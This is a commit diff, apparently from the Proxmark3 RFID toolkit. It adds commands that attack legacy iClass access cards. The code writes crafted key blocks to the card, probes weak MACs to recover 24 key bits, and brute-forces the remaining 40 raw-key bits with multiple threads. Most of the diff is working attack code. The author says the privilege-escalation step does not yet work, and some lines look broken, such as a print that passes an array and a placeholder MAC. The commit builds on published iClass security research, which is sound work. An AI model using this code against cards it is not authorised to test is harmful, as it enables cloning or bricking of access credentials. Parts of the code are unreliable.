Iclass Legacy Raw Key Recovery Function

Based on the work described in Dismantling iClass whitepaper.
hf iclass legbrute is tested working
hf iclass legrec is partially working: logic of operations and sequence seems to be in order and was tested on simulated data to be effective. The privilege escalation part is still not successful, but the logic should be correct.
This commit is contained in:
Antiklesys 2024-07-19 14:47:13 +08:00
commit 1832997ccb
7 changed files with 529 additions and 0 deletions

View file

@ -15,6 +15,8 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac
- Added MFC Key for swimming pool cards in Reykjavík Iceland (@dandri)
- Added key for Orkan keyfobs (@dandri)
- Added key for Atlantsolía keyfobs (@dandri)
- Added `hf iclass legbrute` this function allows to bruteforce 40/64 k1 bits of an iclass card to recover the raw key used(@antiklesys).
- Added `hf iclass legrec` this function allows to recover 24/64 k1 bits of an iclass card (@antiklesys).
## [Aurora.4.18589][2024-05-28]
- Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001)
- Changed `mem spiffs tree` - adapted to bigbuff and show if empty (@iceman1001)

View file

@ -2061,6 +2061,10 @@ static void PacketReceived(PacketCommandNG *packet) {
iClass_Restore((iclass_restore_req_t *)packet->data.asBytes);
break;
}
case CMD_HF_ICLASS_RECOVER: {
iClass_Recover((iclass_recover_req_t *)packet->data.asBytes);
break;
}
case CMD_HF_ICLASS_CREDIT_EPURSE: {
iclass_credit_epurse((iclass_credit_epurse_t *)packet->data.asBytes);
break;

View file

@ -2152,3 +2152,216 @@ out:
reply_ng(CMD_HF_ICLASS_RESTORE, isOK, NULL, 0);
}
}
void generate_single_key_block_inverted(const uint8_t startingKey[PICOPASS_BLOCK_SIZE], uint32_t index, uint8_t keyBlock[PICOPASS_BLOCK_SIZE]) {
uint32_t carry = index;
memcpy(keyBlock, startingKey, PICOPASS_BLOCK_SIZE);
for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) {
uint8_t increment_value = carry & 0x07; // Use only the last 3 bits of carry
keyBlock[j] = increment_value; // Set the last 3 bits, assuming first 5 bits are always 0
carry >>= 3; // Shift right by 3 bits for the next byte
if (carry == 0) {
// If no more carry, break early to avoid unnecessary loops
break;
}
}
}
// Function to convert an unsigned int to binary string
void intToBinary(unsigned int num, char *binaryStr, int size) {
binaryStr[size] = '\0'; // Null-terminate the string
for (int i = size - 1; i >= 0; i--) {
binaryStr[i] = (num % 2) ? '1' : '0';
num /= 2;
}
}
// Function to convert a binary string to hexadecimal
uint8_t binaryToHex(char *binaryStr) {
return (uint8_t)strtoul(binaryStr, NULL, 2);
}
// Function to convert an unsigned int to an array of hex values
void convertToHexArray(unsigned int num, uint8_t *partialKey) {
char binaryStr[25]; // 24 bits for binary representation + 1 for null terminator
// Convert the number to binary string
intToBinary(num, binaryStr, 24);
// Split the binary string into groups of 3 and convert to hex
for (int i = 0; i < PICOPASS_BLOCK_SIZE; i++) {
char group[4];
strncpy(group, binaryStr + i * 3, 3);
group[3] = '\0'; // Null-terminate the group string
partialKey[i] = binaryToHex(group);
}
}
void iClass_Recover(iclass_recover_req_t *msg) {
bool shallow_mod = false;
LED_A_ON();
Iso15693InitReader();
//Authenticate with AA2 with the standard key to get the AA2 mac
//Step0 Card Select Routine
uint32_t eof_time = 0;
picopass_hdr_t hdr = {0};
bool res = select_iclass_tag(&hdr, true, &eof_time, shallow_mod);
if (res == false) {
goto out;
}
//Step1 Authenticate with AA2 using K2
uint8_t mac2[4] = {0};
uint32_t start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
res = authenticate_iclass_tag(&msg->req2, &hdr, &start_time, &eof_time, mac2);
if (res == false) {
goto out;
}
uint8_t div_key2[8] = {0};
memcpy(div_key2, hdr.key_c, 8);
//cycle reader to reset cypher state and be able to authenticate with k1 trace
switch_off();
Iso15693InitReader();
//Step0 Card Select Routine
eof_time = 0;
//hdr = {0};
res = select_iclass_tag(&hdr, false, &eof_time, shallow_mod);
if (res == false) {
goto out;
}
//Step1 Authenticate with AA1 using trace
uint8_t mac1[4] = {0};
start_time = eof_time + DELAY_ICLASS_VICC_TO_VCD_READER;
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1);
if (res == false) {
goto out;
}
//Step2 Privilege Escalation: attempt to read AA2 with credentials for AA1
uint8_t blockno = 24;
uint8_t cmd_read[] = {ICLASS_CMD_READ_OR_IDENTIFY, blockno, 0x00, 0x00};
AddCrc(cmd_read + 1, 1);
uint8_t resp[10];
res = iclass_send_cmd_with_retries(cmd_read, sizeof(cmd_read), resp, sizeof(resp), 10, 3, &start_time, ICLASS_READER_TIMEOUT_OTHERS, &eof_time, shallow_mod);
static uint8_t iClass_Mac_Table[8][8] = { //Reference weak macs table
{ 0x00, 0x00, 0x00, 0x00, 0xBF, 0x5D, 0x67, 0x7F }, //Expected mac when last 3 bits of each byte are: 000
{ 0x00, 0x00, 0x00, 0x00, 0x10, 0xED, 0x6F, 0x11 }, //Expected mac when last 3 bits of each byte are: 001
{ 0x00, 0x00, 0x00, 0x00, 0x53, 0x35, 0x42, 0x0F }, //Expected mac when last 3 bits of each byte are: 010
{ 0x00, 0x00, 0x00, 0x00, 0xAB, 0x47, 0x4D, 0xA0 }, //Expected mac when last 3 bits of each byte are: 011
{ 0x00, 0x00, 0x00, 0x00, 0xF6, 0xCF, 0x43, 0x36 }, //Expected mac when last 3 bits of each byte are: 100
{ 0x00, 0x00, 0x00, 0x00, 0x59, 0x7F, 0x4B, 0x58 }, //Expected mac when last 3 bits of each byte are: 101
{ 0x00, 0x00, 0x00, 0x00, 0x1A, 0xA7, 0x66, 0x46 }, //Expected mac when last 3 bits of each byte are: 110
{ 0x00, 0x00, 0x00, 0x00, 0xE2, 0xD5, 0x69, 0xE9 } //Expected mac when last 3 bits of each byte are: 111
};
//Viewing the weak macs table card 24 bits (3x8) in the form of a 24 bit decimal number
static uint32_t iClass_Mac_Table_Bit_Values[8] = {0, 2396745, 4793490, 7190235, 9586980, 11983725, 14380470, 16777215};
uint8_t zero_key[PICOPASS_BLOCK_SIZE] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
uint32_t index = 1;
int bits_found = -1;
//START LOOP
while (bits_found == -1){
//Step3 Calculate New Key
uint8_t GenKeyBlock[PICOPASS_BLOCK_SIZE];
uint8_t GenKeyBlock_old[PICOPASS_BLOCK_SIZE];
uint8_t XorKeyBlock[PICOPASS_BLOCK_SIZE];
generate_single_key_block_inverted(zero_key, index, GenKeyBlock);
//NOTE BEFORE UPDATING THE KEY WE NEED TO KEEP IN MIND KEYS ARE XORRED
//xor the new key against the previously generated key so that we only update the difference
if(index != 0){
generate_single_key_block_inverted(zero_key, index - 1, GenKeyBlock_old);
for (int i = 0; i < 8 ; i++) {
XorKeyBlock[i] = GenKeyBlock[i] ^ GenKeyBlock_old[i];
}
}else{
memcpy(XorKeyBlock, GenKeyBlock, PICOPASS_BLOCK_SIZE);
}
//Step4 Calculate New Mac
bool use_mac = true;
uint8_t wb[9] = {0};
blockno = 3;
wb[0] = blockno;
memcpy(wb + 1, XorKeyBlock, 8);
doMAC_N(wb, sizeof(wb), div_key2, mac2);
//Step5 Perform Write
if (iclass_writeblock_ext(blockno, XorKeyBlock, mac2, use_mac, shallow_mod)) {
Dbprintf("Write block [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno);
} else {
Dbprintf("Write block [%3d/0x%02X] " _RED_("failed"), blockno, blockno);
goto out;
}
//Step6 Perform 8 authentication attempts
for (int i = 0; i < 8 ; ++i) {
//need to craft the authentication payload accordingly
memcpy(msg->req.key, iClass_Mac_Table[i], 8);
res = authenticate_iclass_tag(&msg->req, &hdr, &start_time, &eof_time, mac1); //the mac here needs to be changed, mac 2 is a compiling placeholder
if (res == true) {
bits_found = iClass_Mac_Table_Bit_Values[i] ^ index;
Dbprintf("Found Card Bits Index: " _GREEN_("[%3d]"), index);
Dbprintf("Mac Table Bit Values: " _GREEN_("[%3d]"), iClass_Mac_Table_Bit_Values[i]);
Dbprintf("Decimal Value of Partial Key: " _GREEN_("[%3d]"), bits_found);
goto restore;
}
}
}//end while
restore:
;//empty statement for compilation
uint8_t partialKey[PICOPASS_BLOCK_SIZE];
convertToHexArray(bits_found, partialKey);
for (int i = 0; i < 8; i++){
Dbprintf("Raw Key Partial Bytes: " _GREEN_("[%3d -> 0x%02X]"), i, partialKey);
}
uint8_t resetKey[PICOPASS_BLOCK_SIZE];
convertToHexArray(index, resetKey);
//Calculate reset Mac
bool use_mac = true;
uint8_t wb[9] = {0};
blockno = 3;
wb[0] = blockno;
memcpy(wb + 1, resetKey, 8);
doMAC_N(wb, sizeof(wb), div_key2, mac2);
if (iclass_writeblock_ext(blockno, resetKey, mac2, use_mac, shallow_mod)) {
Dbprintf("Restore of Original Key [%3d/0x%02X] " _GREEN_("successful"), blockno, blockno);
} else {
Dbprintf("Restore of Original Key [%3d/0x%02X] " _RED_("failed"), blockno, blockno);
}
switch_off();
out:
switch_off();
}

View file

@ -70,4 +70,10 @@ bool authenticate_iclass_tag(iclass_auth_req_t *payload, picopass_hdr_t *hdr, ui
uint8_t get_pagemap(const picopass_hdr_t *hdr);
void iclass_send_as_reader(uint8_t *frame, int len, uint32_t *start_time, uint32_t *end_time, bool shallow_mod);
void generate_single_key_block_inverted(const uint8_t startingKey[PICOPASS_BLOCK_SIZE], uint32_t index, uint8_t keyBlock[PICOPASS_BLOCK_SIZE]);
void intToBinary(unsigned int num, char *binaryStr, int size);
uint8_t binaryToHex(char *binaryStr);
void convertToHexArray(unsigned int num, uint8_t *partialKey);
void iClass_Recover(iclass_recover_req_t *msg);
#endif

View file

@ -3842,6 +3842,304 @@ void picopass_elite_nextKey(uint8_t* key) {
memcpy(key, key_state, 8);
}
static int CmdHFiClassRecover(uint8_t key[8]) {
uint32_t payload_size = sizeof(iclass_recover_req_t);
uint8_t aa2_standard_key[PICOPASS_BLOCK_SIZE] = {0xFD, 0xCB, 0x5A, 0x52, 0xEA, 0x8F, 0x30, 0x90};
iclass_recover_req_t *payload = calloc(1, payload_size);
payload->req.use_raw = true;
payload->req.use_elite = false;
payload->req.use_credit_key = false;
payload->req.use_replay = true;
payload->req.send_reply = true;
payload->req.do_auth = true;
payload->req.shallow_mod = false;
payload->req2.use_raw = false;
payload->req2.use_elite = false;
payload->req2.use_credit_key = true;
payload->req2.use_replay = false;
payload->req2.send_reply = true;
payload->req2.do_auth = true;
payload->req2.shallow_mod = false;
memcpy(payload->req.key, key, 8);
memcpy(payload->req2.key, aa2_standard_key, 8);
PrintAndLogEx(INFO, "Recover started...");
PacketResponseNG resp;
clearCommandBuffer();
SendCommandNG(CMD_HF_ICLASS_RECOVER, (uint8_t *)payload, payload_size);
if (WaitForResponseTimeout(CMD_HF_ICLASS_RECOVER, &resp, 2500) == 0) {
PrintAndLogEx(WARNING, "command execute timeout");
DropField();
free(payload);
return PM3_ETIMEOUT;
}
if (resp.status == PM3_SUCCESS) {
PrintAndLogEx(SUCCESS, "iCLASS Recover " _GREEN_("successful"));
} else {
PrintAndLogEx(WARNING, "iCLASS Recover " _RED_("failed"));
}
free(payload);
return resp.status;
}
typedef struct {
uint32_t start_index;
uint32_t keycount;
const uint8_t *startingKey;
uint8_t (*keyBlock)[PICOPASS_BLOCK_SIZE];
} ThreadData;
void *generate_key_blocks(void *arg) {
ThreadData *data = (ThreadData *)arg;
uint32_t start_index = data->start_index;
uint32_t keycount = data->keycount;
const uint8_t *startingKey = data->startingKey;
uint8_t (*keyBlock)[PICOPASS_BLOCK_SIZE] = data->keyBlock;
for (uint32_t i = 0; i < keycount; i++) {
uint32_t carry = start_index + i;
memcpy(keyBlock[i], startingKey, PICOPASS_BLOCK_SIZE);
for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) {
uint8_t increment_value = (carry & 0x1F) << 3; // Use only the first 5 bits of carry
keyBlock[i][j] = (keyBlock[i][j] & 0x07) | increment_value; // Preserve the last three bits
carry >>= 5; // Shift right by 5 bits for the next byte
if (carry == 0) {
// If no more carry, break early to avoid unnecessary loops
break;
}
}
}
return NULL;
}
void generate_single_key_block_inverted(const uint8_t startingKey[PICOPASS_BLOCK_SIZE], uint32_t index, uint8_t keyBlock[PICOPASS_BLOCK_SIZE]) {
uint32_t carry = index;
memcpy(keyBlock, startingKey, PICOPASS_BLOCK_SIZE);
for (int j = PICOPASS_BLOCK_SIZE - 1; j >= 0; j--) {
uint8_t increment_value = carry & 0x07; // Use only the last 3 bits of carry
keyBlock[j] = increment_value; // Set the last 3 bits, assuming first 5 bits are always 0
carry >>= 3; // Shift right by 3 bits for the next byte
if (carry == 0) {
// If no more carry, break early to avoid unnecessary loops
break;
}
}
}
static int CmdHFiClassLegRecLookUp(const char *Cmd) {
//Standalone Command Start
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf iclass legbrute",
"This command take sniffed trace data and partial raw key and bruteforces the remaining 40 bits of the raw key.",
"hf iclass legbrute --csn 8D7BD711FEFF12E0 --epurse feffffffffffffff --macs 00000000BD478F76 --pk B4F12AADC5301225"
);
void *argtable[] = {
arg_param_begin,
arg_str1(NULL, "csn", "<hex>", "Specify CSN as 8 hex bytes"),
arg_str1(NULL, "epurse", "<hex>", "Specify ePurse as 8 hex bytes"),
arg_str1(NULL, "macs", "<hex>", "MACs"),
arg_str1(NULL, "pk", "<hex>", "Partial Key"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, false);
int csn_len = 0;
uint8_t csn[8] = {0};
CLIGetHexWithReturn(ctx, 1, csn, &csn_len);
if (csn_len > 0) {
if (csn_len != 8) {
PrintAndLogEx(ERR, "CSN is incorrect length");
CLIParserFree(ctx);
return PM3_EINVARG;
}
}
int epurse_len = 0;
uint8_t epurse[8] = {0};
CLIGetHexWithReturn(ctx, 2, epurse, &epurse_len);
if (epurse_len > 0) {
if (epurse_len != 8) {
PrintAndLogEx(ERR, "ePurse is incorrect length");
CLIParserFree(ctx);
return PM3_EINVARG;
}
}
int macs_len = 0;
uint8_t macs[8] = {0};
CLIGetHexWithReturn(ctx, 3, macs, &macs_len);
if (macs_len > 0) {
if (macs_len != 8) {
PrintAndLogEx(ERR, "MAC is incorrect length");
CLIParserFree(ctx);
return PM3_EINVARG;
}
}
int startingkey_len = 0;
uint8_t startingKey[8] = {0};
CLIGetHexWithReturn(ctx, 4, startingKey, &startingkey_len);
if (startingkey_len > 0) {
if (startingkey_len != 8) {
PrintAndLogEx(ERR, "Partial Key is incorrect length");
CLIParserFree(ctx);
return PM3_EINVARG;
}
}
CLIParserFree(ctx);
//Standalone Command End
uint8_t CCNR[12];
uint8_t MAC_TAG[4] = {0, 0, 0, 0};
// Copy CCNR and MAC_TAG
memcpy(CCNR, epurse, 8);
memcpy(CCNR + 8, macs, 4);
memcpy(MAC_TAG, macs + 4, 4);
PrintAndLogEx(SUCCESS, " CSN: " _GREEN_("%s"), sprint_hex(csn, 8));
PrintAndLogEx(SUCCESS, " Epurse: %s", sprint_hex(epurse, 8));
PrintAndLogEx(SUCCESS, " MACS: %s", sprint_hex(macs, 8));
PrintAndLogEx(SUCCESS, " CCNR: " _GREEN_("%s"), sprint_hex(CCNR, sizeof(CCNR)));
PrintAndLogEx(SUCCESS, "TAG MAC: %s", sprint_hex(MAC_TAG, sizeof(MAC_TAG)));
PrintAndLogEx(SUCCESS, "Starting Key: %s", sprint_hex(startingKey, 8));
uint32_t keycount = 1000000;
uint32_t keys_per_thread = 200000;
uint32_t num_threads = keycount / keys_per_thread;
pthread_t threads[num_threads];
ThreadData thread_data[num_threads];
iclass_prekey_t *prekey = NULL;
iclass_prekey_t lookup;
iclass_prekey_t *item = NULL;
memcpy(lookup.mac, MAC_TAG, 4);
uint32_t block_index = 0;
while (item == NULL) {
for (uint32_t t = 0; t < num_threads; t++) {
thread_data[t].start_index = block_index * keycount + t * keys_per_thread;
thread_data[t].keycount = keys_per_thread;
thread_data[t].startingKey = startingKey;
thread_data[t].keyBlock = calloc(keys_per_thread, PICOPASS_BLOCK_SIZE);
if (thread_data[t].keyBlock == NULL) {
PrintAndLogEx(ERROR, "Memory allocation failed for keyBlock in thread %d.", t);
for (uint32_t i = 0; i < t; i++) {
free(thread_data[i].keyBlock);
}
return PM3_EINVARG;
}
pthread_create(&threads[t], NULL, generate_key_blocks, (void *)&thread_data[t]);
}
for (uint32_t t = 0; t < num_threads; t++) {
pthread_join(threads[t], NULL);
}
if (prekey == NULL) {
prekey = calloc(keycount, sizeof(iclass_prekey_t));
} else {
prekey = realloc(prekey, (block_index + 1) * keycount * sizeof(iclass_prekey_t));
}
if (prekey == NULL) {
PrintAndLogEx(ERROR, "Memory allocation failed for prekey.");
for (uint32_t t = 0; t < num_threads; t++) {
free(thread_data[t].keyBlock);
}
return PM3_EINVARG;
}
PrintAndLogEx(INFO, "Generating diversified keys...");
for (uint32_t t = 0; t < num_threads; t++) {
GenerateMacKeyFrom(csn, CCNR, true, false, (uint8_t *)thread_data[t].keyBlock, keys_per_thread, prekey + (block_index * keycount) + (t * keys_per_thread));
}
PrintAndLogEx(INFO, "Sorting...");
// Sort mac list
qsort(prekey, (block_index + 1) * keycount, sizeof(iclass_prekey_t), cmp_uint32);
PrintAndLogEx(SUCCESS, "Searching for " _YELLOW_("%s") " key...", "DEBIT");
// Binary search
item = (iclass_prekey_t *)bsearch(&lookup, prekey, (block_index + 1) * keycount, sizeof(iclass_prekey_t), cmp_uint32);
for (uint32_t t = 0; t < num_threads; t++) {
free(thread_data[t].keyBlock);
}
block_index++;
}
if (item != NULL) {
PrintAndLogEx(SUCCESS, "Found valid RAW key " _GREEN_("%s"), sprint_hex(item->key, 8));
}
free(prekey);
PrintAndLogEx(NORMAL, "");
return PM3_SUCCESS;
}
static int CmdHFiClassLegacyRecover(const char *Cmd) {
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf iclass legrec",
"Attempts to recover the diversified key of a specific iClass card. This may take a long time. The Card must remain be on the PM3 antenna during the whole process! This process may brick the card!",
"hf iclass legrec --macs 0000000089cb984b"
);
void *argtable[] = {
arg_param_begin,
arg_str1(NULL, "macs", "<hex>", "MACs"),
arg_param_end
};
CLIExecWithReturn(ctx, Cmd, argtable, false);
int macs_len = 0;
uint8_t macs[8] = {0};
CLIGetHexWithReturn(ctx, 1, macs, &macs_len);
if (macs_len > 0) {
if (macs_len != 8) {
PrintAndLogEx(ERR, "MAC is incorrect length");
CLIParserFree(ctx);
return PM3_EINVARG;
}
}
CLIParserFree(ctx);
CmdHFiClassRecover(macs);
PrintAndLogEx(WARNING, _YELLOW_("If the process completed, you can now run 'hf iclass legrecbrute' with the partial key found."));
PrintAndLogEx(NORMAL, "");
return PM3_SUCCESS;
}
static int CmdHFiClassLookUp(const char *Cmd) {
CLIParserContext *ctx;
CLIParserInit(&ctx, "hf iclass lookup",
@ -4738,6 +5036,8 @@ static command_t CommandTable[] = {
{"chk", CmdHFiClassCheckKeys, IfPm3Iclass, "Check keys"},
{"loclass", CmdHFiClass_loclass, AlwaysAvailable, "Use loclass to perform bruteforce reader attack"},
{"lookup", CmdHFiClassLookUp, AlwaysAvailable, "Uses authentication trace to check for key in dictionary file"},
{"legrec", CmdHFiClassLegacyRecover, IfPm3Iclass, "Attempts to recover the standard key of a legacy card"},
{"legbrute", CmdHFiClassLegRecLookUp, AlwaysAvailable, "Bruteforces 40 bits of a partial raw key"},
{"-----------", CmdHelp, IfPm3Iclass, "-------------------- " _CYAN_("Simulation") " -------------------"},
{"sim", CmdHFiClassSim, IfPm3Iclass, "Simulate iCLASS tag"},
{"eload", CmdHFiClassELoad, IfPm3Iclass, "Upload file into emulator memory"},

View file

@ -42,4 +42,7 @@ void picopass_elite_reset(void);
uint32_t picopass_elite_rng(void);
uint32_t picopass_elite_lcg(void);
uint8_t picopass_elite_nextByte(void);
void *generate_key_blocks(void *arg);
void generate_single_key_block_inverted(const uint8_t startingKey[PICOPASS_BLOCK_SIZE], uint32_t index, uint8_t keyBlock[PICOPASS_BLOCK_SIZE]);
#endif

View file

@ -630,6 +630,7 @@ typedef struct {
#define CMD_HF_ICLASS_CHKKEYS 0x039A
#define CMD_HF_ICLASS_RESTORE 0x039B
#define CMD_HF_ICLASS_CREDIT_EPURSE 0x039C
#define CMD_HF_ICLASS_RECOVER 0x039D
// For ISO1092 / FeliCa